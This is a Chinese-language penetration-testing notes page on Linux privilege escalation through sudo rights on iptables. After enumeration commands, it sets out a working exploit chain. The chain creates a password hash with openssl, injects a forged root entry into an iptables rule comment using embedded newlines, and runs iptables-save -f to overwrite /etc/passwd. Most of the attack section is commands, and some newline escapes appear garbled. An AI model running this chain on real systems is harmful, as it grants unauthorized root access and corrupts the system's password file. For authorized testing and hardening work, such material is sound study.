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# Sudo iptables - Linux 权限提升
Sudo（iptables）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（iptables）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
sudo -l
sudo --version
```
## 示例
#### 步骤 1：通过 iptables 添加注释规则
以一个简单的……为例 `iptables` 用于添加防火墙规则的命令：
```bash
sudo iptables -A INPUT -i lo -j ACCEPT
```
> 可以使用以下方式向任何规则添加注释（最多 256 个字符）： `--comment` 选项。/ 例如：
```bash
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nwhoami/n'
```
这样可以生效，并可使用以下命令检查：
#### 潜在漏洞观察
使用 `-f` 的 `iptables-save` 命令，可以以 root 身份创建包含以下内容的文件： `iptables` 规则。例如：
```bash
sudo /usr/sbin/iptables-save -f test
```
利用此漏洞并获取权限提升的步骤如下：
1. **生成加密的 root 密码**/ 使用 `openssl` 以适当格式加密新密码：
```bash
openssl passwd jordan1234
```
$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0
2. **注入修改密码命令**/ 使用 `--comment` 选项，注入以下命令以更改 root 密码
{% code overflow="wrap" %}
```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash/n'
```
{% endcode %}
3. 崩溃 `/etc/passwd`正在运行
```bash
sudo /usr/sbin/iptables-save -f /etc/passwd
```
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